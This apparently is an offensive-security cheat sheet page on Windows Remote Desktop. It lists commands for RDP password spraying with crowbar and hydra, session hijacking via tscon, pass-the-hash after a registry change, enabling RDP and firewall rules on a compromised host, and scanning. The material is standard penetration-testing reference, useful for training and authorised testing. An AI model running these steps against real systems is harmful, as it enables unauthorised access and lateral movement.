RDP
ABOUT
Remote Desktop Protocol (RDP) is a protocol developed by Microsoft for remote access to a computer running the Windows OS. This protocol allows display and control commands to be transmitted via the GUI encrypted over IP networks. Works at Application Layer of TCP/IP model, typically using TCP/3389 port. If Network Address Translation (NAT) is used on the route between client and server, as is often the case with Internet connections, the remote computer needs the public IP address to reach the server. It uses TLS/SSL.
CONNECTING
Rdesktop
rdesktop -u rio -p 'rio@123' -d corp.local 13.13.13.13Xfreerdp
Regular
xfreerdp /u:rio /p:rio@123 /v:13.13.13.13 /d:corp.local /cert:ignoreWith Port-Forwarding
xfreerdp /u:rio /p:rio@123 /v:localhost:3389 /d:corp.local /cert:ignoreMounting a local dir
xfreerdp /v:13.13.13.13 /u:rio /p:amogus /drive:share,/home/rio/testRemmina (GUI)
reminnaPASSWORD SPRAYING
Crowbar
crowbar -b rdp -s 13.13.13.13/32 -U users.txt -c 'rio@123'Hydra
hydra -L users.txt -p 'rio@123' 13.13.13.13 rdpSESSION HIJACKING
We need SYSTEM privileges and use tscon.exe (allows to connect to another desktop session) [LINK]
tscon 13 /dest:V17PASS-THE-HASH
By default, Windows has disabled Restricted Admin Mode, and we need to fix that by adding new registry key to DisableRestrictedAdmin
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /fAnd then to use xfreerdp for Pass The Hash
xfreerdp /v:13.13.13.13 /u:rio /pth:12379NSKDFKSJDF20931C031ENABLE FROM SYSTEM
As example one time I needed to access internal host, so it would be good if I turned on rdp and made a port forwarding, So here's the steps do do it
Change
fDenyTSConnectionsRegistry key which denies RDP connections
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# OR same thing but with PowerShell, to convenience
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -Value 0Changing a Firewall to allow us to move through RDP
netsh advfirewall firewall set rule group='remote desktop' new enable=yesTips2Hack
Nmap RDP Scan
nmap -sV -sC 13.13.13.13 -p3389 --script rdp*RDP Security Check [LINK]
./rdp-sec-check.pl 13.13.13.13Last updated